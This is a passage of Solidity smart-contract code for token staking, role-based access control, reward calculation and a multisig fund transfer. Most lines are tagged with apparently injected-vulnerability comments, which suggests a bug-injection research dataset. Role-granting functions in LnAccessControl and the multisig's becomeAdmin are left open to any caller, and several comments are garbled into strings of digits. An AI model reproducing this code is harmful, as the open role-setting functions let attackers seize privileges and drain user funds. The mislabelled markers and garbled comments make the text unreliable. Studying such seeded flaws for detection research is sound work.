stakingStorage.PushStakingData(msg.sender, amount, block.timestamp); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
stakingStorage.AddWeeksTotal(block.timestamp, amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Staking(msg.sender, amount, block.timestamp);
return true;
}
function cancelStaking(uint256 amount) public whenNotPaused override returns (bool) {
stakingStorage.requireInStakingPeriod(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(amount > 0, "Invalid amount.");
uint256 returnToken = amount;
for (uint256 i = stakingStorage.getStakesdataLength(msg.sender); i >= 1 ; i--) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
(uint256 stakingAmount, uint256 staketime) = stakingStorage.getStakesDataByIndex(msg.sender, i-1); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
if (amount >= stakingAmount) {
amount = amount.sub(stakingAmount, "cancelStaking sub overflow");
stakingStorage.PopStakesData(msg.sender); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
stakingStorage.SubWeeksTotal(staketime, stakingAmount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
} else {
stakingStorage.StakingDataSub(msg.sender, i-1, amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
stakingStorage.SubWeeksTotal(staketime, amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
amount = 0;
}
if (amount == 0) break;
}
require(amount == 0, "Cancel amount too big then staked.");
//linaToken.mint(msg.sender, returnToken);
linaToken.transfer(msg.sender, returnToken); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit CancelStaking(msg.sender, returnToken);
return true;
}
// claim reward
// Note: 111111111token111
function claim() public whenNotPaused override returns (bool) {
stakingStorage.requireStakingEnd(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(stakingStorage.getStakesdataLength(msg.sender) > 0, "Nothing to claim"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 totalWeekNumber = stakingStorage.totalWeekNumber(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 totalStaking = 0;
uint256 totalReward = 0;
uint256[] memory finalTotals = stakingStorage.weekTotalStaking(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
for (uint256 i=0; i < stakingStorage.getStakesdataLength(msg.sender); i++) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
(uint256 stakingAmount, uint256 staketime) = stakingStorage.getStakesDataByIndex(msg.sender, i); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 stakedWeedNumber = staketime.sub(stakingStorage.stakingStartTime(), "claim sub overflow") / 1 weeks; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
totalStaking = totalStaking.add(stakingAmount);
uint256 reward = 0;
for (uint256 j=stakedWeedNumber; j < totalWeekNumber; j++) {
reward = reward.add( stakingAmount.mul(PRECISION_UINT).div(finalTotals[j]) ); //move .mul(weekRewardAmount) to next line. //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
reward = reward.mul(stakingStorage.weekRewardAmount()).div(PRECISION_UINT); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
totalReward = totalReward.add( reward );
}
stakingStorage.DeleteStakesData(msg.sender); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
//linaToken.mint(msg.sender, totalStaking.add(totalReward) );
linaToken.transfer(msg.sender, totalStaking.add(totalReward) ); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Claim(msg.sender, totalReward, totalStaking);
return true;
}
}
// example:
//LnAccessControl accessCtrl = LnAccessControl(addressStorage.getAddress("LnAccessControl"));
//require(accessCtrl.hasRole(accessCtrl.DEBT_SYSTEM(), _address), "Need debt system access role");
// contract access control
contract LnAccessControl is AccessControl {
using Address for address;
// -------------------------------------------------------
// role type
bytes32 internal constant ISSUE_ASSET_ROLE = ("ISSUE_ASSET"); //keccak256
bytes32 internal constant BURN_ASSET_ROLE = ("BURN_ASSET");
bytes32 internal constant DEBT_SYSTEM = ("LnDebtSystem");
// -------------------------------------------------------
constructor(address admin) public {
_setupRole(DEFAULT_ADMIN_ROLE, admin);
}
function IsAdmin(address _address) public view returns (bool) {
return hasRole(DEFAULT_ADMIN_ROLE, _address); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function SetAdmin(address _address) public returns (bool) {
require(IsAdmin(msg.sender), "Only admin");
_setupRole(DEFAULT_ADMIN_ROLE, _address); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
// -------------------------------------------------------
// this func need admin role. grantRole and revokeRole need admin role
function SetRoles(bytes32 roleType, address[] calldata addresses, bool[] calldata setTo) external {
require(IsAdmin(msg.sender), "Only admin");
_setRoles(roleType, addresses, setTo);
}
function _setRoles(bytes32 roleType, address[] calldata addresses, bool[] calldata setTo) private {
require(addresses.length == setTo.length, "parameter address length not eq");
for (uint256 i=0; i < addresses.length; i++) {
//require(addresses[i].isContract(), "Role address need contract only");
if (setTo[i]) {
grantRole(roleType, addresses[i]);
} else {
revokeRole(roleType, addresses[i]);
}
}
}
// function SetRoles(bytes32 roleType, address[] calldata addresses, bool[] calldata setTo) public {
// _setRoles(roleType, addresses, setTo);
// }
// Issue burn
function SetIssueAssetRole(address[] calldata issuer, bool[] calldata setTo) public {
_setRoles(ISSUE_ASSET_ROLE, issuer, setTo); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function SetBurnAssetRole(address[] calldata burner, bool[] calldata setTo) public {
_setRoles(BURN_ASSET_ROLE, burner, setTo); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
//
function SetDebtSystemRole(address[] calldata _address, bool[] calldata _setTo) public {
_setRoles(DEBT_SYSTEM, _address, _setTo); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
abstract contract LnOperatorModifier is LnAdmin {
address internal operator;
constructor(address _operator) internal {
require(admin != address(0), "admin must be set");
operator = _operator;
emit OperatorUpdated(_operator);
}
function setOperator(address _opperator) external onlyAdmin {
operator = _opperator; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit OperatorUpdated(_opperator);
}
modifier onlyOperator() {
require(msg.sender == operator, "Only operator can perform this action");
_;
}
event OperatorUpdated(address operator);
}
contract LnRewardCalculator {
using SafeMath for uint256;
struct UserInfo {
uint256 reward;
uint256 amount;
uint256 rewardDebt;
}
struct PoolInfo {
uint256 amount;
uint256 lastRewardBlock;
uint256 accRewardPerShare;
}
uint256 public rewardPerBlock;
PoolInfo internal mPoolInfo;
mapping(address => UserInfo) internal userInfo;
uint256 public startBlock;
uint256 public remainReward;
uint256 public accReward;
constructor(uint256 _rewardPerBlock, uint256 _startBlock) public {
rewardPerBlock = _rewardPerBlock;
startBlock = _startBlock;
mPoolInfo.lastRewardBlock = startBlock;
}
function _calcReward(uint256 curBlock, address _user)
internal
view
returns (uint256)
{
PoolInfo storage pool = mPoolInfo;
UserInfo storage user = userInfo[_user];
uint256 accRewardPerShare = pool.accRewardPerShare;
uint256 lpSupply = pool.amount;
if (curBlock > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = curBlock.sub(
pool.lastRewardBlock,
"cr curBlock sub overflow"
);
uint256 curReward = multiplier.mul(rewardPerBlock);
accRewardPerShare = accRewardPerShare.add(
curReward.mul(1e20).div(lpSupply)
);
}
uint256 newReward = user.amount.mul(accRewardPerShare).div(1e20).sub(
user.rewardDebt,
"cr newReward sub overflow"
);
return newReward.add(user.reward);
}
function rewardOf(address _user) public view returns (uint256) {
return userInfo[_user].reward; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function amount() public view returns (uint256) {
return mPoolInfo.amount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function amountOf(address _user) public view returns (uint256) {
return userInfo[_user].amount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function getUserInfo(address _user)
public
view
returns (
uint256,
uint256,
uint256
)
{
return (
userInfo[_user].reward, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
userInfo[_user].amount, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
userInfo[_user].rewardDebt //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
);
}
function getPoolInfo()
public
view
returns (
uint256,
uint256,
uint256
)
{
return (
mPoolInfo.amount, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mPoolInfo.lastRewardBlock, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mPoolInfo.accRewardPerShare //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
);
}
function _update(uint256 curBlock) internal {
PoolInfo storage pool = mPoolInfo;
if (curBlock <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.amount;
if (lpSupply == 0) {
pool.lastRewardBlock = curBlock;
return;
}
uint256 multiplier = curBlock.sub(
pool.lastRewardBlock,
"_update curBlock sub overflow"
);
uint256 curReward = multiplier.mul(rewardPerBlock);
remainReward = remainReward.add(curReward);
accReward = accReward.add(curReward);
pool.accRewardPerShare = pool.accRewardPerShare.add(
curReward.mul(1e20).div(lpSupply)
);
pool.lastRewardBlock = curBlock;
}
function _deposit(
uint256 curBlock,
address _addr,
uint256 _amount
) internal {
PoolInfo storage pool = mPoolInfo;
UserInfo storage user = userInfo[_addr];
_update(curBlock);
if (user.amount > 0) {
uint256 pending = user
.amount
.mul(pool.accRewardPerShare)
.div(1e20)
.sub(user.rewardDebt, "_deposit pending sub overflow");
if (pending > 0) {
reward(user, pending);
}
}
if (_amount > 0) {
user.amount = user.amount.add(_amount);
pool.amount = pool.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accRewardPerShare).div(1e20);
}
function _withdraw(
uint256 curBlock,
address _addr,
uint256 _amount
) internal {
PoolInfo storage pool = mPoolInfo;
UserInfo storage user = userInfo[_addr];
require(user.amount >= _amount, "_withdraw: not good");
_update(curBlock);
uint256 pending = user.amount.mul(pool.accRewardPerShare).div(1e20).sub(
user.rewardDebt,
"_withdraw pending sub overflow"
);
if (pending > 0) {
reward(user, pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(
_amount,
"_withdraw user.amount sub overflow"
);
pool.amount = pool.amount.sub(
_amount,
"_withdraw pool.amount sub overflow"
);
}
user.rewardDebt = user.amount.mul(pool.accRewardPerShare).div(1e20);
}
function reward(UserInfo storage user, uint256 _amount) internal {
if (_amount > remainReward) {
_amount = remainReward;
}
remainReward = remainReward.sub(
_amount,
"reward remainReward sub overflow"
);
user.reward = user.reward.add(_amount);
}
function _claim(address _addr) internal {
UserInfo storage user = userInfo[_addr];
if (user.reward > 0) {
user.reward = 0;
}
}
}
contract LnRewardCalculatorTest is LnRewardCalculator {
constructor(uint256 _rewardPerBlock, uint256 _startBlock)
public
LnRewardCalculator(_rewardPerBlock, _startBlock)
{}
function deposit(
uint256 curBlock,
address _addr,
uint256 _amount
) public {
_deposit(curBlock, _addr, _amount);
}
function withdraw(
uint256 curBlock,
address _addr,
uint256 _amount
) public {
_withdraw(curBlock, _addr, _amount);
}
function calcReward(uint256 curBlock, address _user)
public
view
returns (uint256)
{
return _calcReward(curBlock, _user);
}
}
contract LnSimpleStaking is
LnAdmin,
Pausable,
ILinearStaking,
LnRewardCalculator
{
using SafeMath for uint256;
using SafeDecimalMath for uint256;
IERC20 internal linaToken; // lina token proxy address
LnLinearStakingStorage internal stakingStorage;
uint256 internal mEndBlock;
address internal mOldStaking;
uint256 internal mOldAmount;
uint256 internal mWidthdrawRewardFromOldStaking;
uint256 internal claimRewardLockTime = 1620806400; // 2021-5-12
address internal mTargetAddress;
uint256 internal mTransLockTime;
mapping(address => uint256) internal mOldReward;
constructor(
address _admin,
address _linaToken,
address _storage,
uint256 _rewardPerBlock,
uint256 _startBlock,
uint256 _endBlock
) public LnAdmin(_admin) LnRewardCalculator(_rewardPerBlock, _startBlock) {
linaToken = IERC20(_linaToken);
stakingStorage = LnLinearStakingStorage(_storage);
mEndBlock = _endBlock;
}
function setLinaToken(address _linaToken) external onlyAdmin {
linaToken = IERC20(_linaToken); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setPaused(bool _paused) external onlyAdmin {
if (_paused) {
_pause();
} else {
_unpause();
}
}
//////////////////////////////////////////////////////
event Staking(address indexed who, uint256 value, uint256 staketime);
event CancelStaking(address indexed who, uint256 value);
event Claim(address indexed who, uint256 rewardval, uint256 totalStaking);
event TransLock(address target, uint256 time);
uint256 internal accountStakingListLimit = 50;
uint256 internal minStakingAmount = 1e18; // 1 token
uint256 public constant PRECISION_UINT = 1e23;
function setStakingListLimit(uint256 _limit) external onlyAdmin {
accountStakingListLimit = _limit; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setMinStakingAmount(uint256 _minStakingAmount) external onlyAdmin {
minStakingAmount = _minStakingAmount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function stakingBalanceOf(address account)
external
override
view
returns (uint256)
{
uint256 stakingBalance = super.amountOf(account).add(
stakingStorage.stakingBalanceOf(account) //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
);
return stakingBalance;
}
function getStakesdataLength(address account)
external
view
returns (uint256)
{
return stakingStorage.getStakesdataLength(account); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
//--------------------------------------------------------
function migrationsOldStaking(
address contractAddr,
uint256 amount,
uint256 blockNb
) public onlyAdmin {
super._deposit(blockNb, contractAddr, amount);
mOldStaking = contractAddr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mOldAmount = amount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function staking(uint256 amount)
public
override
whenNotPaused
returns (bool)
{
stakingStorage.requireInStakingPeriod(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(amount >= minStakingAmount, "Staking amount too small."); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
//require(stakingStorage.getStakesdataLength(msg.sender) < accountStakingListLimit, "Staking list out of limit.");
linaToken.transferFrom(msg.sender, address(this), amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 blockNb = block.number;
if (blockNb > mEndBlock) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
blockNb = mEndBlock; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
super._deposit(blockNb, msg.sender, amount);
emit Staking(msg.sender, amount, block.timestamp);
return true;
}
function _widthdrawFromOldStaking(address _addr, uint256 amount) internal {
uint256 blockNb = block.number;
if (blockNb > mEndBlock) {
blockNb = mEndBlock;
}
uint256 oldStakingAmount = super.amountOf(mOldStaking);
super._withdraw(blockNb, mOldStaking, amount);
// sub already withraw reward, then cal portion
uint256 reward = super
.rewardOf(mOldStaking)
.sub(
mWidthdrawRewardFromOldStaking,
"_widthdrawFromOldStaking reward sub overflow"
)
.mul(amount)
.mul(1e20)
.div(oldStakingAmount)
.div(1e20);
mWidthdrawRewardFromOldStaking = mWidthdrawRewardFromOldStaking.add(
reward
);
mOldReward[_addr] = mOldReward[_addr].add(reward);
}
function _cancelStaking(address user, uint256 amount) internal {
uint256 blockNb = block.number;
if (blockNb > mEndBlock) {
blockNb = mEndBlock;
}
uint256 returnAmount = amount;
uint256 newAmount = super.amountOf(user);
if (newAmount >= amount) {
super._withdraw(blockNb, user, amount);
amount = 0;
} else {
if (newAmount > 0) {
super._withdraw(blockNb, user, newAmount);
amount = amount.sub(
newAmount,
"_cancelStaking amount sub overflow"
);
}
for (
uint256 i = stakingStorage.getStakesdataLength(user);
i >= 1;
i--
) {
(uint256 stakingAmount, uint256 staketime) = stakingStorage
.getStakesDataByIndex(user, i - 1);
if (amount >= stakingAmount) {
amount = amount.sub(
stakingAmount,
"_cancelStaking amount sub overflow"
);
stakingStorage.PopStakesData(user);
stakingStorage.SubWeeksTotal(staketime, stakingAmount);
_widthdrawFromOldStaking(user, stakingAmount);
} else {
stakingStorage.StakingDataSub(user, i - 1, amount);
stakingStorage.SubWeeksTotal(staketime, amount);
_widthdrawFromOldStaking(user, amount);
amount = 0;
}
if (amount == 0) break;
}
}
// cancel as many as possible, not fail, that waste gas
//require(amount == 0, "Cancel amount too big then staked.");
linaToken.transfer(msg.sender, returnAmount.sub(amount));
}
function cancelStaking(uint256 amount)
public
override
whenNotPaused
returns (bool)
{
//stakingStorage.requireInStakingPeriod();
require(amount > 0, "Invalid amount.");
_cancelStaking(msg.sender, amount);
emit CancelStaking(msg.sender, amount);
return true;
}
function getTotalReward(uint256 blockNb, address _user)
public
view
returns (uint256 total)
{
if (blockNb > mEndBlock) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
blockNb = mEndBlock; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
// 1111111111
// 1,1111111cancel11
// 2,1111111
// 31111111
total = mOldReward[_user]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 iMyOldStaking = 0;
for (
uint256 i = 0;
i < stakingStorage.getStakesdataLength(_user); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
i++
) {
(uint256 stakingAmount, ) = stakingStorage.getStakesDataByIndex( //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_user,
i
);
iMyOldStaking = iMyOldStaking.add(stakingAmount);
}
if (iMyOldStaking > 0) {
uint256 oldStakingAmount = super.amountOf(mOldStaking); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 iReward2 = super
._calcReward(blockNb, mOldStaking) //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
.sub(
mWidthdrawRewardFromOldStaking, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
"getTotalReward iReward2 sub overflow"
)
.mul(iMyOldStaking)
.div(oldStakingAmount);
total = total.add(iReward2);
}
uint256 reward3 = super._calcReward(blockNb, _user);
total = total.add(reward3);
}
// claim reward
// Note: 111111111token111
function claim() public override whenNotPaused returns (bool) {
//stakingStorage.requireStakingEnd();
require(
block.timestamp > claimRewardLockTime, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
"Not time to claim reward"
);
uint256 iMyOldStaking = stakingStorage.stakingBalanceOf(msg.sender); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 iAmount = super.amountOf(msg.sender);
_cancelStaking(msg.sender, iMyOldStaking.add(iAmount));
uint256 iReward = getTotalReward(mEndBlock, msg.sender); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_claim(msg.sender);
mOldReward[msg.sender] = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
linaToken.transfer(msg.sender, iReward); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Claim(msg.sender, iReward, iMyOldStaking.add(iAmount));
return true;
}
function setRewardLockTime(uint256 newtime) public onlyAdmin {
claimRewardLockTime = newtime; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function calcReward(uint256 curBlock, address _user)
public
view
returns (uint256)
{
return _calcReward(curBlock, _user);
}
function setTransLock(address target, uint256 locktime) public onlyAdmin {
require(
locktime >= now + 2 days,
"locktime need larger than cur time 2 days"
);
mTargetAddress = target; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mTransLockTime = locktime; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit TransLock(mTargetAddress, mTransLockTime); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function transTokens(uint256 amount) public onlyAdmin {
require(mTransLockTime > 0, "mTransLockTime not set"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(now > mTransLockTime, "Pls wait to unlock time"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
linaToken.transfer(mTargetAddress, amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
contract HelperPushStakingData is LnAdmin {
constructor(address _admin) public LnAdmin(_admin) {}
function pushStakingData(
address _storage,
address[] calldata account,
uint256[] calldata amount,
uint256[] calldata staketime
) external {
require(account.length > 0, "array length zero");
require(account.length == amount.length, "array length not eq");
require(account.length == staketime.length, "array length not eq");
LnLinearStakingStorage stakingStorage = LnLinearStakingStorage(
_storage
);
for (uint256 i = 0; i < account.length; i++) {
stakingStorage.PushStakingData(account[i], amount[i], staketime[i]);
stakingStorage.AddWeeksTotal(staketime[i], amount[i]);
}
}
//unstaking.
}
contract MultiSigForTransferFunds {
mapping(address => uint256) internal mAdmins;
uint256 internal mConfirmNumb;
uint256 internal mProposalNumb;
uint256 internal mAmount;
LnSimpleStaking internal mStaking;
address[] public mAdminArr;
uint256 internal mTransLockTime;
constructor(
address[] memory _addr,
uint256 iConfirmNumb,
LnSimpleStaking _staking
) public {
for (uint256 i = 0; i < _addr.length; ++i) {
mAdmins[_addr[i]] = 1;
}
mConfirmNumb = iConfirmNumb;
mProposalNumb = 0;
mStaking = _staking;
mAdminArr = _addr;
}
function becomeAdmin(address target) external {
LnAdmin(target).becomeAdmin();
}
function setTransLock(
address target,
uint256 locktime,
uint256 amount
) public {
require(mAdmins[msg.sender] == 1, "not in admin list or set state"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_reset();
mStaking.setTransLock(target, locktime); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mAmount = amount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mProposalNumb = 1; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mAdmins[msg.sender] = 2; // //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mTransLockTime = locktime; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
// call this when the locktime expired
function confirmTransfer() public {
require(mAdmins[msg.sender] == 1, "not in admin list or set state"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mProposalNumb = mProposalNumb + 1; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mAdmins[msg.sender] = 2; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function doTransfer() public {
require(mTransLockTime > 0, "mTransLockTime not set"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(now > mTransLockTime, "Pls wait to unlock time"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(mProposalNumb >= mConfirmNumb, "need more confirm"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_reset();
mStaking.transTokens(mAmount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function _reset() internal {
mProposalNumb = 0;
mTransLockTime = 0;
// reset
for (uint256 i = 0; i < mAdminArr.length; ++i) {
mAdmins[mAdminArr[i]] = 1;
}
}
}
contract LnSimpleStakingExtension is
LnAdmin,
Pausable,
ILinearStaking,
LnRewardCalculator
{
using SafeMath for uint256;
using SafeDecimalMath for uint256;
IERC20 internal linaToken; // lina token proxy address
LnLinearStakingStorage internal stakingStorage;
uint256 internal mEndBlock;
address internal mOldStaking;
uint256 internal mOldAmount;
uint256 public mWidthdrawRewardFromOldStaking;
uint256 internal claimRewardLockTime = 1620806400; // 2021-5-12
address internal mTargetAddress;
uint256 internal mTransLockTime;
LnSimpleStaking internal mOldSimpleStaking;
bool public requireSync = false;
mapping(address => uint256) internal mOldReward;
mapping(address => bool) internal syncUserInfo;
constructor(
address _admin,
address _linaToken,
address _storage,
uint256 _rewardPerBlock,
uint256 _startBlock,
uint256 _endBlock,
address _mOldSimpleStaking
) public LnAdmin(_admin) LnRewardCalculator(_rewardPerBlock, _startBlock) {
linaToken = IERC20(_linaToken);
stakingStorage = LnLinearStakingStorage(_storage);
mEndBlock = _endBlock;
if (_mOldSimpleStaking != address(0)) {
mOldSimpleStaking = LnSimpleStaking(_mOldSimpleStaking);
(
mPoolInfo.amount,
,
mPoolInfo.accRewardPerShare
) = mOldSimpleStaking.getPoolInfo();
requireSync = true;
}
}
function setLinaToken(address _linaToken) external onlyAdmin {
linaToken = IERC20(_linaToken); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setPaused(bool _paused) external onlyAdmin {
if (_paused) {
_pause();
} else {
_unpause();
}
}
//////////////////////////////////////////////////////
event Staking(address indexed who, uint256 value, uint256 staketime);
event CancelStaking(address indexed who, uint256 value);
event Claim(address indexed who, uint256 rewardval, uint256 totalStaking);
event TransLock(address target, uint256 time);
uint256 internal accountStakingListLimit = 50;
uint256 internal minStakingAmount = 1e18; // 1 token
uint256 public constant PRECISION_UINT = 1e23;
function setStakingListLimit(uint256 _limit) external onlyAdmin {
accountStakingListLimit = _limit; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setMinStakingAmount(uint256 _minStakingAmount) external onlyAdmin {
minStakingAmount = _minStakingAmount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function stakingBalanceOf(address account)
external
override
view
returns (uint256)
{
uint256 stakingBalance = super.amountOf(account).add(
stakingStorage.stakingBalanceOf(account) //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
);
if (!syncUserInfo[msg.sender]) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 oldAmoutOf = mOldSimpleStaking.amountOf(account); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
stakingBalance = stakingBalance.add(oldAmoutOf);
}
return stakingBalance;
}
function getStakesdataLength(address account)
external
view
returns (uint256)
{
return stakingStorage.getStakesdataLength(account); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setEndBlock(uint256 _newEndBlock) external onlyAdmin {
require(
_newEndBlock > mEndBlock, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
"new endBlock less than old endBlock."
);
mEndBlock = _newEndBlock; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function syncUserInfoData(address _user) internal {
if (requireSync && !syncUserInfo[_user]) {
(
userInfo[_user].reward,
userInfo[_user].amount,
userInfo[_user].rewardDebt
) = mOldSimpleStaking.getUserInfo(_user);
syncUserInfo[_user] = true;
}
}
//--------------------------------------------------------
function migrationsOldStaking(
address contractAddr,
uint256 amount,
uint256 blockNb
) public onlyAdmin {
super._deposit(blockNb, contractAddr, amount);
mOldStaking = contractAddr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mOldAmount = amount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function staking(uint256 amount)
public
override
whenNotPaused
returns (bool)
{
// stakingStorage.requireInStakingPeriod();
// require(
// syncUserInfo[msg.sender],
// "sync is required before perform action."
// );
if (!syncUserInfo[msg.sender]) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
syncUserInfoData(msg.sender);
}
require(amount >= minStakingAmount, "Staking amount too small."); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
//require(stakingStorage.getStakesdataLength(msg.sender) < accountStakingListLimit, "Staking list out of limit.");
linaToken.transferFrom(msg.sender, address(this), amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 blockNb = block.number;
if (blockNb > mEndBlock) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
blockNb = mEndBlock; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
super._deposit(blockNb, msg.sender, amount);
emit Staking(msg.sender, amount, block.timestamp);
return true;
}
function _widthdrawFromOldStaking(address _addr, uint256 amount) internal {
uint256 blockNb = block.number;
if (blockNb > mEndBlock) {
blockNb = mEndBlock;
}
uint256 oldStakingAmount = super.amountOf(mOldStaking);
super._withdraw(blockNb, mOldStaking, amount);
// sub already withraw reward, then cal portion
uint256 reward = super
.rewardOf(mOldStaking)
.sub(
mWidthdrawRewardFromOldStaking,
"_widthdrawFromOldStaking reward sub overflow"
)
.mul(amount)
.mul(1e20)
.div(oldStakingAmount)
.div(1e20);
mWidthdrawRewardFromOldStaking = mWidthdrawRewardFromOldStaking.add(
reward
);
mOldReward[_addr] = mOldReward[_addr].add(reward);
}
function _cancelStaking(address user, uint256 amount) internal {
uint256 blockNb = block.number;
if (blockNb > mEndBlock) {
blockNb = mEndBlock;
}
uint256 returnAmount = amount;
uint256 newAmount = super.amountOf(user);
if (newAmount >= amount) {
super._withdraw(blockNb, user, amount);
amount = 0;
} else {
if (newAmount > 0) {
super._withdraw(blockNb, user, newAmount);
amount = amount.sub(
newAmount,
"_cancelStaking amount sub overflow"
);
}
for (
uint256 i = stakingStorage.getStakesdataLength(user);
i >= 1;
i--
) {
(uint256 stakingAmount, uint256 staketime) = stakingStorage
.getStakesDataByIndex(user, i - 1);
if (amount >= stakingAmount) {
amount = amount.sub(
stakingAmount,
"_cancelStaking amount sub overflow"
);
stakingStorage.PopStakesData(user);
stakingStorage.SubWeeksTotal(staketime, stakingAmount);
_widthdrawFromOldStaking(user, stakingAmount);
} else {
stakingStorage.StakingDataSub(user, i - 1, amount);
stakingStorage.SubWeeksTotal(staketime, amount);
_widthdrawFromOldStaking(user, amount);
amount = 0;
}
if (amount == 0) break;
}
}
// cancel as many as possible, not fail, that waste gas
//require(amount == 0, "Cancel amount too big then staked.");
linaToken.transfer(msg.sender, returnAmount.sub(amount));
}
function cancelStaking(uint256 amount)
public
override
whenNotPaused
returns (bool)
{
// require(
// syncUserInfo[msg.sender],
// "sync is required before perform action."
// );
if (!syncUserInfo[msg.sender]) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
syncUserInfoData(msg.sender);
}
//stakingStorage.requireInStakingPeriod();
require(amount > 0, "Invalid amount.");
_cancelStaking(msg.sender, amount);
